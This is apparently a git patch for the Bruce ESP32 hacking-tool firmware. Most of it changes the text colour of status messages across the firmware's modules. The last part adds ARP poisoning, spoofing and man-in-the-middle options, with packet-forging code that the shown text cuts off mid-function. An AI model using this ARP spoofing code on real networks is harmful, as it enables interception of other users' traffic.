From 6493593f1bf5c584a6712c426626c0f8bcbdb7b5 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Tue, 10 Dec 2024 06:06:08 -0300
Subject: [PATCH 1/9] ARP poisoning and fixes Fix for brighness control
 https://github.com/pr3y/Bruce/issues/541 Fix fo theme colors and redstripe
 messages with white colors https://github.com/pr3y/Bruce/issues/523

Added Arp Poisoning (all clients), Arp spoof (one client) and Arpsoof Mitm (POC, need testing)
---
 src/core/display.cpp             |  14 +-
 src/core/display.h               |   1 +
 src/core/settings.cpp            |   2 +-
 src/core/wifi_common.cpp         |   2 +-
 src/modules/ble/bad_ble.cpp      |  10 +-
 src/modules/ble/ble_common.cpp   |   2 +-
 src/modules/ble/ble_spam.cpp     |  10 +-
 src/modules/fm/fm.cpp            |  12 +-
 src/modules/gps/gps_tracker.cpp  |   2 +-
 src/modules/gps/wardriving.cpp   |   2 +-
 src/modules/ir/TV-B-Gone.cpp     |   6 +-
 src/modules/ir/custom_ir.cpp     |  20 +--
 src/modules/others/bad_usb.cpp   |   6 +-
 src/modules/pwnagotchi/spam.cpp  |   2 +-
 src/modules/rf/rf.cpp            |  10 +-
 src/modules/wifi/ap_info.cpp     |   2 +-
 src/modules/wifi/clients.cpp     |   2 +-
 src/modules/wifi/evil_portal.cpp |   2 +-
 src/modules/wifi/scan_hosts.cpp  | 290 ++++++++++++++++++++++++++++++-
 src/modules/wifi/scan_hosts.h    |  18 +-
 src/modules/wifi/sniffer.cpp     |   2 +-
 src/modules/wifi/wifi_atks.cpp   |  10 +-
 22 files changed, 371 insertions(+), 56 deletions(-)

diff --git a/src/core/display.cpp b/src/core/display.cpp
index 9cc03ffd..28c6102e 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -285,7 +285,8 @@ int loopOptions(std::vector<Option>& options, bool bright, bool submenu, String
       if(submenu) drawSubmenu(index, options, subText);
       else coord=drawOptions(index, options, bruceConfig.priColor, bruceConfig.bgColor);
       if(bright){
-        setBrightness(String(options[index].label.c_str()).toInt(),false);
+        if(index!=5) setBrightness(String(options[index].label.c_str()).toInt(),false);
+        else setBrightness(bruceConfig.bright,false);
       }
       redraw=false;
       delay(REDRAW_DELAY);
@@ -1076,7 +1077,16 @@ bool showGIF(FS fs, String filename, int x, int y) {
   return false;
 }
 
-
+/***************************************************************************************
+** Function name: getComplementaryColor2
+** Description:   Get simple complementary color in RGB565 format
+***************************************************************************************/
+uint16_t getComplementaryColor2(uint16_t color) {
+  int r = 31-((color >> 11) & 0x1F);
+  int g = 63-((color >> 5) & 0x3F);
+  int b = 31-(color & 0x1F);
+  return (r<<11) | (g<<5) | b;
+}
 /***************************************************************************************
 ** Function name: getComplementaryColor
 ** Description:   Get complementary color in RGB565 format
diff --git a/src/core/display.h b/src/core/display.h
index a1e6857a..90766d38 100644
--- a/src/core/display.h
+++ b/src/core/display.h
@@ -24,6 +24,7 @@ bool showGIF(FS fs,String filename, int x=0, int y=0);
 bool showJpeg(FS fs,String filename, int x=0, int y=0, bool center = false);
 
 uint16_t getComplementaryColor(uint16_t color);
+uint16_t getComplementaryColor2(uint16_t color);
 uint16_t getColorVariation(uint16_t color, int delta = 10, int direction = 0);
 
 void resetTftDisplay(int x = 0, int y = 0, uint16_t fc = bruceConfig.priColor, int size = FM, uint16_t bg = bruceConfig.bgColor, uint16_t screen = bruceConfig.bgColor);
diff --git a/src/core/settings.cpp b/src/core/settings.cpp
index 79a9ed03..feaf1811 100644
--- a/src/core/settings.cpp
+++ b/src/core/settings.cpp
@@ -87,7 +87,7 @@ void setBrightnessMenu() {
     {"50 %", [=]() { setBrightness(50);  }, bruceConfig.bright == 50 },
     {"25 %", [=]() { setBrightness(25);  }, bruceConfig.bright == 25 },
     {" 1 %", [=]() { setBrightness(1);   }, bruceConfig.bright == 1 },
-    {"Main Menu", [=]() { backToMenu(); }},
+    {"Main Menu", [=]() { backToMenu(); }}, // this one bugs the brightness selection
   };
   delay(200);
   loopOptions(options, true,false,"",idx);
diff --git a/src/core/wifi_common.cpp b/src/core/wifi_common.cpp
index 6c8d02a7..4d7431fc 100644
--- a/src/core/wifi_common.cpp
+++ b/src/core/wifi_common.cpp
@@ -107,7 +107,7 @@ bool wifiConnectMenu(wifi_mode_t mode)
   case WIFI_STA: // station mode
     int nets;
     WiFi.mode(WIFI_MODE_STA);
-    displayRedStripe("Scanning..", TFT_WHITE, bruceConfig.priColor);
+    displayRedStripe("Scanning..", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
     nets = WiFi.scanNetworks();
     options = {};
     for (int i = 0; i < nets; i++) {
diff --git a/src/modules/ble/bad_ble.cpp b/src/modules/ble/bad_ble.cpp
index 4cb0349c..9492c9c3 100644
--- a/src/modules/ble/bad_ble.cpp
+++ b/src/modules/ble/bad_ble.cpp
@@ -284,19 +284,19 @@ void ble_setup() {
       if (!kbChosen_ble) Kble.begin(); // starts the KeyboardLayout_en_US as default if nothing had beed chosen (cancel selection)
       Ask_for_restart=1; // arm the flag
       first_time=false;
-      displayRedStripe("Waiting Victim",TFT_WHITE, bruceConfig.priColor);
+      displayRedStripe("Waiting Victim",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
     }
     while (!Kble.isConnected() && !checkEscPress());
 
     if(Kble.isConnected())  {
       BLEConnected=true;
-      displayRedStripe("Preparing",TFT_WHITE, bruceConfig.priColor);
+      displayRedStripe("Preparing",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
       delay(1000);
       displayWarning(String(BTN_ALIAS) + " to deploy", true);
       delay(200);
       key_input_ble(*fs, bad_script);
 
-      displayRedStripe("Payload Sent",TFT_WHITE, bruceConfig.priColor);
+      displayRedStripe("Payload Sent",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
       checkSelPress();
       while (!checkSelPress()) {
           // nothing here, just to hold the screen press Ok of M5.
@@ -321,7 +321,7 @@ void ble_MediaCommands() {
 
   if(!Kble.isConnected()) Kble.begin();
 
-  displayRedStripe("Pairing...",TFT_WHITE, bruceConfig.priColor);
+  displayRedStripe("Pairing...",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
 
   while (!Kble.isConnected() && !checkEscPress());
 
@@ -380,7 +380,7 @@ void ble_keyboard() {
   if (!kbChosen_ble) Kble.begin(); // starts the KeyboardLayout_en_US as default if nothing had beed chosen (cancel selection)
   Ask_for_restart=1;
 Reconnect:
-  displayRedStripe("Pair to start",TFT_WHITE, bruceConfig.priColor);
+  displayRedStripe("Pair to start",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
 
   while (!Kble.isConnected() && !checkEscPress()); // loop to wait for the connection callback or ESC
 
diff --git a/src/modules/ble/ble_common.cpp b/src/modules/ble/ble_common.cpp
index fb9a62ff..e2ff0c53 100644
--- a/src/modules/ble/ble_common.cpp
+++ b/src/modules/ble/ble_common.cpp
@@ -107,7 +107,7 @@ void ble_scan_setup()
 
 void ble_scan()
 {
-    displayRedStripe("Scanning..", TFT_WHITE, bruceConfig.priColor);
+    displayRedStripe("Scanning..", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
 
     options = { };
     ble_scan_setup();
diff --git a/src/modules/ble/ble_spam.cpp b/src/modules/ble/ble_spam.cpp
index 0e152f1f..2bf58972 100644
--- a/src/modules/ble/ble_spam.cpp
+++ b/src/modules/ble/ble_spam.cpp
@@ -451,23 +451,23 @@ void aj_adv(int ble_choice){
 
       switch(ble_choice){
         case 0: // Applejuice
-          displayRedStripe("iOS Spam (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor);
+          displayRedStripe("iOS Spam (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
           executeSpam(Apple);
           break;
         case 1: // SwiftPair
-          displayRedStripe("SwiftPair  (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor);
+          displayRedStripe("SwiftPair  (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
           executeSpam(Microsoft);
           break;
         case 2: // Samsung
-          displayRedStripe("Samsung  (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor);
+          displayRedStripe("Samsung  (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
           executeSpam(Samsung);
           break;
         case 3: // Android
-          displayRedStripe("Android  (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor);
+          displayRedStripe("Android  (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
           executeSpam(Google);
           break;
         case 4: // Tutti-frutti
-          displayRedStripe("Spam All  (" + String(count) + ")",TFT_WHITE,bruceConfig.priColor);
+          displayRedStripe("Spam All  (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
           if(mael == 0) executeSpam(Google);
           if(mael == 1) executeSpam(Samsung);
           if(mael == 2) executeSpam(Microsoft);
diff --git a/src/modules/fm/fm.cpp b/src/modules/fm/fm.cpp
index 25a19577..722ef45e 100644
--- a/src/modules/fm/fm.cpp
+++ b/src/modules/fm/fm.cpp
@@ -35,7 +35,7 @@ uint16_t fm_scan() {
   min_noise = radio.currNoiseLevel;
 
   tft.fillScreen(bruceConfig.bgColor);
-  displayRedStripe("Scanning...", TFT_WHITE, bruceConfig.priColor);
+  displayRedStripe("Scanning...", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
   for (f=8750; f<10800; f+=10) {
     Serial.print("Measuring "); Serial.print(f); Serial.print("...");
     radio.readTuneMeasure(f);
@@ -51,7 +51,7 @@ uint16_t fm_scan() {
 
   sprintf(display_freq, "Found %d MHz", freq_candidate);
   tft.fillScreen(bruceConfig.bgColor);
-  displayRedStripe(display_freq, TFT_WHITE, bruceConfig.priColor);
+  displayRedStripe(display_freq, getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
   while(!checkEscPress() && !checkSelPress()) {
     delay(100);
   }
@@ -64,7 +64,7 @@ void fm_options_frq(uint16_t f_min, bool reserved) {
   char f_str[5];
   uint16_t f_max;
   // Choose between scan for best freq or select freq
-  displayRedStripe("Choose frequency", TFT_WHITE, bruceConfig.priColor);
+  displayRedStripe("Choose frequency", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
   delay(1000);
 
   // Handle min / max frequency
@@ -96,7 +96,7 @@ void fm_options_digit(uint16_t f_min, bool reserved) {
   char f_str[5];
   uint16_t f_max;
   // Choose between scan for best freq or select freq
-  displayRedStripe("Choose digit", TFT_WHITE, bruceConfig.priColor);
+  displayRedStripe("Choose digit", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
   delay(1000);
 
   // Handle min / max frequency
@@ -133,7 +133,7 @@ void fm_options_digit(uint16_t f_min, bool reserved) {
 void fm_options(uint16_t f_min, uint16_t f_max, bool reserved) {
   char f_str[5];
   // Choose between scan for best freq or select freq
-  displayRedStripe("Choose tens", TFT_WHITE, bruceConfig.priColor);
+  displayRedStripe("Choose tens", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
   delay(1000);
 
   options = { };
@@ -229,7 +229,7 @@ bool fm_begin() {
   if (!radio.begin()) { // begin with address 0x63 (CS high default)
     tft.fillScreen(bruceConfig.bgColor);
     Serial.println("Cannot find radio");
-    displayRedStripe("Cannot find radio", TFT_WHITE, bruceConfig.priColor);
+    displayRedStripe("Cannot find radio", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
     while(!checkEscPress() && !checkSelPress()) {
       delay(100);
     }
diff --git a/src/modules/gps/gps_tracker.cpp b/src/modules/gps/gps_tracker.cpp
index 6c3b6175..8a0f8e6a 100644
--- a/src/modules/gps/gps_tracker.cpp
+++ b/src/modules/gps/gps_tracker.cpp
@@ -45,7 +45,7 @@ bool GPSTracker::begin_gps() {
             end();
             return false;
         }
-        displayRedStripe("Waiting GPS: " + String(count)+ "s", TFT_WHITE, bruceConfig.priColor);
+        displayRedStripe("Waiting GPS: " + String(count)+ "s", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
         count++;
         delay(1000);
     }
diff --git a/src/modules/gps/wardriving.cpp b/src/modules/gps/wardriving.cpp
index c08ce48c..a3baa936 100644
--- a/src/modules/gps/wardriving.cpp
+++ b/src/modules/gps/wardriving.cpp
@@ -51,7 +51,7 @@ bool Wardriving::begin_gps() {
             end();
             return false;
         }
-        displayRedStripe("Waiting GPS: " + String(count)+ "s", TFT_WHITE, bruceConfig.priColor);
+        displayRedStripe("Waiting GPS: " + String(count)+ "s", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
         count++;
         delay(1000);
     }
diff --git a/src/modules/ir/TV-B-Gone.cpp b/src/modules/ir/TV-B-Gone.cpp
index de016acf..857dcdbb 100644
--- a/src/modules/ir/TV-B-Gone.cpp
+++ b/src/modules/ir/TV-B-Gone.cpp
@@ -169,7 +169,7 @@ void StartTvBGone() {
         if (checkSelPress()) // Pause TV-B-Gone
         {
           while (checkSelPress()) yield();
-          displayRedStripe("Paused", TFT_WHITE, bruceConfig.bgColor);
+          displayRedStripe("Paused", getComplementaryColor2(bruceConfig.priColor), bruceConfig.bgColor);
 
           while (!checkSelPress()){ // If Presses Select again, continues
             if(checkEscPress()) {
@@ -181,7 +181,7 @@ void StartTvBGone() {
             yield();
           }
           if (endingEarly) break; // Cancels  TV-B-Gone
-          displayRedStripe("Running, Wait", TFT_WHITE, bruceConfig.priColor);
+          displayRedStripe("Running, Wait", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
         }
 
       } //end of POWER code for loop
@@ -189,7 +189,7 @@ void StartTvBGone() {
 
       if (endingEarly==false)
       {
-        displayRedStripe("All codes sent!", TFT_WHITE, bruceConfig.priColor);
+        displayRedStripe("All codes sent!", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
         //pause for ~1.3 sec, then flash the visible LED 8 times to indicate that we're done
         delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
         delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
diff --git a/src/modules/ir/custom_ir.cpp b/src/modules/ir/custom_ir.cpp
index 59a578a2..cc720fef 100644
--- a/src/modules/ir/custom_ir.cpp
+++ b/src/modules/ir/custom_ir.cpp
@@ -199,7 +199,7 @@ bool txIrFile(FS *fs, String filepath) {
     if (checkSelPress()) // Pause TV-B-Gone
     {
       while (checkSelPress()) yield();
-      displayRedStripe("Paused", TFT_WHITE, bruceConfig.bgColor);
+      displayRedStripe("Paused", getComplementaryColor2(bruceConfig.priColor), bruceConfig.bgColor);
 
       while (!checkSelPress()){ // If Presses Select again, continues
         if(checkEscPress()) {
@@ -211,7 +211,7 @@ bool txIrFile(FS *fs, String filepath) {
         yield();
       }
       if (endingEarly) break; // Cancels  custom IR Spam
-      displayRedStripe("Running, Wait", TFT_WHITE, bruceConfig.priColor);
+      displayRedStripe("Running, Wait", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
     }
   } // end while file has lines to process
   databaseFile.close();
@@ -350,7 +350,7 @@ void otherIRcodes() {
 void sendNECCommand(String address, String command) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
   uint8_t first_zero_byte_pos = address.indexOf("00", 2);
   if(first_zero_byte_pos!=-1) address = address.substring(0, first_zero_byte_pos);
   first_zero_byte_pos = command.indexOf("00", 2);
@@ -367,7 +367,7 @@ void sendNECCommand(String address, String command) {
 void sendRC5Command(String address, String command) {
   IRsend irsend(bruceConfig.irTx,true);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
   uint8_t addressValue = strtoul(address.substring(0,2).c_str(), nullptr, 16);
   uint8_t commandValue = strtoul(command.substring(0,2).c_str(), nullptr, 16);
   uint16_t data = irsend.encodeRC5(addressValue, commandValue);
@@ -379,7 +379,7 @@ void sendRC5Command(String address, String command) {
 void sendRC6Command(String address, String command) {
   IRsend irsend(bruceConfig.irTx,true);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
   uint32_t addressValue = strtoul(address.c_str(), nullptr, 16);
   uint32_t commandValue = strtoul(command.c_str(), nullptr, 16);
   uint64_t data = irsend.encodeRC6(addressValue, commandValue);
@@ -391,7 +391,7 @@ void sendRC6Command(String address, String command) {
 void sendSamsungCommand(String address, String command) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
   //uint64_t data = ((uint64_t)strtoul(address.c_str(), nullptr, 16) << 32) | strtoul(command.c_str(), nullptr, 16);
   uint32_t addressValue = strtoul(address.c_str(), nullptr, 16);
   uint32_t commandValue = strtoul(command.c_str(), nullptr, 16);
@@ -406,7 +406,7 @@ void sendSamsungCommand(String address, String command) {
 void sendSonyCommand(String address, String command) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
   uint16_t commandValue = strtoul(command.substring(0,2).c_str(), nullptr, 16);
   uint16_t addressValue = strtoul(address.substring(0,2).c_str(), nullptr, 16);
   uint16_t addressValue2 = strtoul(address.substring(3,6).c_str(), nullptr, 16);
@@ -422,7 +422,7 @@ void sendSonyCommand(String address, String command) {
 void sendPanasonicCommand(String address, String command) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
   uint8_t first_zero_byte_pos = address.indexOf("00", 2);
   if(first_zero_byte_pos!=-1) address = address.substring(0, first_zero_byte_pos);
   // needs to invert endianess
@@ -455,7 +455,7 @@ bool sendDecodedCommand(String protocol, String value, String bits) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
   bool success = false;
-  displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
 
   if(hasACState(type)) {
     // need to send the state (still passed from value)
@@ -488,7 +488,7 @@ bool sendDecodedCommand(String protocol, String value, String bits) {
 void sendRawCommand(uint16_t frequency, String rawData) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
   uint16_t dataBuffer[SAFE_STACK_BUFFER_SIZE/2]; // MEMO: stack overflow with full buffer size
   uint16_t count = 0;
 
diff --git a/src/modules/others/bad_usb.cpp b/src/modules/others/bad_usb.cpp
index 9f9894a9..989e685c 100644
--- a/src/modules/others/bad_usb.cpp
+++ b/src/modules/others/bad_usb.cpp
@@ -298,7 +298,7 @@ void usb_setup() {
       mySerial.write(0x00);
       while(mySerial.available()<=0) {
         if(mySerial.available()<=0) {
-          displayRedStripe("CH9329 -> USB",TFT_WHITE,bruceConfig.priColor);
+          displayRedStripe("CH9329 -> USB",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
           delay(200);
           mySerial.write(0x00);
         } else break;
@@ -309,7 +309,7 @@ void usb_setup() {
       }
       #endif
 
-      displayRedStripe("Preparing",TFT_WHITE, bruceConfig.priColor); // Time to Computer or device recognize the USB HID
+      displayRedStripe("Preparing",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor); // Time to Computer or device recognize the USB HID
       delay(2000);
       first_time=false;
     }
@@ -317,7 +317,7 @@ void usb_setup() {
     delay(200);
     key_input(*fs, bad_script);
 
-    displayRedStripe("Payload Sent",TFT_WHITE, bruceConfig.priColor);
+    displayRedStripe("Payload Sent",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
     checkSelPress();
     while (!checkSelPress()) {
         // nothing here, just to hold the screen press Ok of M5.
diff --git a/src/modules/pwnagotchi/spam.cpp b/src/modules/pwnagotchi/spam.cpp
index 7e5eb607..46e150bd 100644
--- a/src/modules/pwnagotchi/spam.cpp
+++ b/src/modules/pwnagotchi/spam.cpp
@@ -347,7 +347,7 @@ void send_pwnagotchi_beacon_main() {
 
   // Check if file was loaded
   if (num_faces == 0 or num_names == 0) {
-    displayRedStripe("No config file", TFT_WHITE, bruceConfig.priColor);
+    displayRedStripe("No config file", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
     delay(1000);
     return;
   }
diff --git a/src/modules/rf/rf.cpp b/src/modules/rf/rf.cpp
index 7aa5f039..e4f5eb5a 100644
--- a/src/modules/rf/rf.cpp
+++ b/src/modules/rf/rf.cpp
@@ -1113,7 +1113,7 @@ void sendRfCommand(struct RfCodes rfcode) {
         transmittimings[transmittimings_idx] = 0;  // termination
 
         // send rf command
-        displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+        displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
         RCSwitch_RAW_send(transmittimings);
         free(transmittimings);
     }
@@ -1138,7 +1138,7 @@ void sendRfCommand(struct RfCodes rfcode) {
         Serial.println(pulse);
         Serial.println(rcswitch_protocol_no);
         * */
-        displayRedStripe("Sending..",TFT_WHITE,bruceConfig.priColor);
+        displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
         RCSwitch_send(data_val, bits, pulse, rcswitch_protocol_no, repeat);
     }
     else if(protocol.startsWith("Princeton")) {
@@ -1612,10 +1612,10 @@ void rf_scan_copy() {
                 }
 
 				if (bruceConfig.rfFxdFreq) {
-					displayRedStripe("Scan freq set to " + String(bruceConfig.rfFreq), TFT_WHITE, bruceConfig.priColor);
+					displayRedStripe("Scan freq set to " + String(bruceConfig.rfFreq), getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
 				}
 				else {
-					displayRedStripe("Range set to " + String(sz_range[bruceConfig.rfScanRange]), TFT_WHITE, bruceConfig.priColor);
+					displayRedStripe("Range set to " + String(sz_range[bruceConfig.rfScanRange]), getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
 				}
                 deinitRfModule();
 				delay(1500);
@@ -1637,7 +1637,7 @@ void rf_scan_copy() {
 				loopOptions(options);
                 if (option == 1) {
 					bruceConfig.setRfFreq(found_freq);
-					displayRedStripe("Set to " + String(found_freq) + " MHz", TFT_WHITE, bruceConfig.priColor);
+					displayRedStripe("Set to " + String(found_freq) + " MHz", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
 
                     deinitRfModule();
 					delay(1500);
diff --git a/src/modules/wifi/ap_info.cpp b/src/modules/wifi/ap_info.cpp
index c1fabd1a..6ebbd76c 100644
--- a/src/modules/wifi/ap_info.cpp
+++ b/src/modules/wifi/ap_info.cpp
@@ -126,7 +126,7 @@ void fillInfo(ScrollableTextArea& area){
 
     const auto mac = MAC(ap_info.bssid);
 
-    displayRedStripe("Gathering...",TFT_WHITE,bruceConfig.priColor);
+    displayRedStripe("Gathering...",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
 
     // in promiscius mode also Rx/Tx can be gathered
     // organized in the most to least usable
diff --git a/src/modules/wifi/clients.cpp b/src/modules/wifi/clients.cpp
index 98ce857c..ce4f5cc9 100644
--- a/src/modules/wifi/clients.cpp
+++ b/src/modules/wifi/clients.cpp
@@ -348,7 +348,7 @@ void telnet_loop() {
 
     Serial.println("Connected to TELNET server");
     tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
-    displayRedStripe("Connected to TELNET server", TFT_WHITE, TFT_DARKGREEN );
+    displayRedStripe("Connected to TELNET server", getComplementaryColor2(bruceConfig.priColor), TFT_DARKGREEN );
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
     delay(2000);
     tft.fillScreen(bruceConfig.bgColor);
diff --git a/src/modules/wifi/evil_portal.cpp b/src/modules/wifi/evil_portal.cpp
index 19512d7a..9adee517 100644
--- a/src/modules/wifi/evil_portal.cpp
+++ b/src/modules/wifi/evil_portal.cpp
@@ -59,7 +59,7 @@ bool EvilPortal::setup() {
 
 void EvilPortal::beginAP() {
     drawMainBorderWithTitle("EVIL PORTAL");
-    displayRedStripe("Starting...", TFT_WHITE, bruceConfig.priColor);
+    displayRedStripe("Starting...", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
 
     WiFi.mode(WIFI_MODE_AP);
     WiFi.softAPConfig(apGateway, apGateway, IPAddress(255, 255, 255, 0));
diff --git a/src/modules/wifi/scan_hosts.cpp b/src/modules/wifi/scan_hosts.cpp
index 4b4468e6..331d7f43 100644
--- a/src/modules/wifi/scan_hosts.cpp
+++ b/src/modules/wifi/scan_hosts.cpp
@@ -46,7 +46,7 @@ void local_scan_setup() {
         struct netif *net_iface = (struct netif *)netif;
         etharp_cleanup_netif(net_iface); // to avoid gateway duplication
 
-        displayRedStripe("Probing " + String(broadcast - networkAddress - 1) + " hosts",TFT_WHITE, bruceConfig.priColor); // minus broadcast and subnet mask
+        displayRedStripe("Probing " + String(broadcast - networkAddress - 1) + " hosts",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor); // minus broadcast and subnet mask
 
         // send arp requests, read table each ARP_TABLE_SIZE requests
         uint16_t tableReadCounter = 0;
@@ -100,7 +100,10 @@ void afterScanOptions(const Host& host) {
   #ifndef LITE_VERSION
     {"SSH Connect", [=](){ ssh_setup(host.ip.toString()); }},
   #endif
+    {"ARP Poisoning", [=](){ arpPoisoner(); }},
+    {"ARP Spoofing", [=](){ arpSpoofing(host, false); }},
   };
+  if(sdcardMounted) options.push_back({"ARP MITM", [=](){ arpSpoofing(host, true); }});
   loopOptions(options);
   delay(200);
 }
@@ -142,3 +145,288 @@ void hostInfo(const Host& host) {
   while(checkSelPress()) yield();
   while(!checkSelPress()) yield();
 }
+
+
+
+
+// ARP Poisoning and MITM POC first step (ARPSpoofing, not saving and forwarding packets)
+#include <modules/wifi/sniffer.h> //use PCAP file saving functions
+#include <esp_wifi.h>
+#include <lwip/sockets.h>
+#include <lwip/dns.h>
+#include <lwip/inet.h>
+#include <lwip/igmp.h>
+#include <lwip/netif.h>
+#include <lwip/err.h>
+#include <lwip/sys.h>
+#include <lwip/timeouts.h>
+#include <lwip/init.h>
+#include <lwip/mem.h>
+#include <lwip/memp.h>
+#include <lwip/ip_addr.h>
+#include <lwip/etharp.h>
+#include <iostream>
+#include <sstream>
+#include <iomanip>
+
+
+// Função para converter IP para string
+String ipToString(const uint8_t* ip) {
+  return String(ip[0]) + "." + String(ip[1]) + "." + String(ip[2]) + "." + String(ip[3]);
+}
+
+// Função para converter MAC para string
+String macToString(const uint8_t* mac) {
+  char buf[18];
+  sprintf(buf, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+  return String(buf);
+}
+
+void stringToMAC(const std::string& macStr, uint8_t MAC[6]) {
+    std::stringstream ss(macStr);
+    unsigned int temp;
+    for (int i = 0; i < 6; ++i) {
+        char delimiter;
+        ss >> std::hex >> temp;
+        MAC[i] = static_cast<uint8_t>(temp); 
+        ss >> delimiter; 
+    }
+}
+
+// Função para obter o MAC do gateway
+void getGatewayMAC(uint8_t gatewayMAC[6]) {
+  wifi_ap_record_t ap_info;
+  if (esp_wifi_sta_get_ap_info(&ap_info) == ESP_OK) {
+    memcpy(gatewayMAC, ap_info.bssid, 6);
+    Serial.print("Gateway MAC: ");
+    Serial.println(macToString(gatewayMAC));
+  } else {
+    Serial.println("Erro ao obter informações do AP.");
+  }
+}
+
+// Function provided by @Fl1p, thank you brother!
+// Função para enviar pacotes ARP falsificados
+void sendARPPacket(uint8_t *targetIP, uint8_t *targetMAC, uint8_t *spoofedIP, uint8_t *spoofedMAC, File pcapFile) {
+  struct eth_hdr *ethhdr;
+  struct etharp_hdr *arphdr;
+  struct pbuf *p;
+  struct netif *netif;
+
+
+  // Obter interface de rede
+  netif = netif_list;
+  if (netif == NULL) {
+    Serial.println("Nenhuma interface de rede encontrada!");
+    return;
+  }
+
+  // Alocar pbuf para o pacote ARP
+  p = pbuf_alloc(PBUF_RAW, sizeof(struct eth_hdr) + sizeof(struct etharp_hdr), PBUF_RAM);
+  if (p == NULL) {
+    Serial.println("Falha ao alocar pbuf!");
+    return;
+  }
+
+  ethhdr = (struct eth_hdr *)p->payload;
+  arphdr = (struct etharp_hdr *)((u8_t *)p->payload + SIZEOF_ETH_HDR);
+
+  // Preencher cabeçalho Ethernet
+  MEMCPY(&ethhdr->dest, targetMAC, ETH_HWADDR_LEN);  // MAC do alvo (vítima ou gateway)
+  MEMCPY(&ethhdr->src, spoofedMAC, ETH_HWADDR_LEN);       // MAC do atacante (nosso)
+  ethhdr->type = PP_HTONS(ETHTYPE_ARP);
+
+  // Preencher cabeçalho ARP
+  arphdr->hwtype = PP_HTONS(1); // 1 é o código para Ethernet no campo hardware type (hwtype)
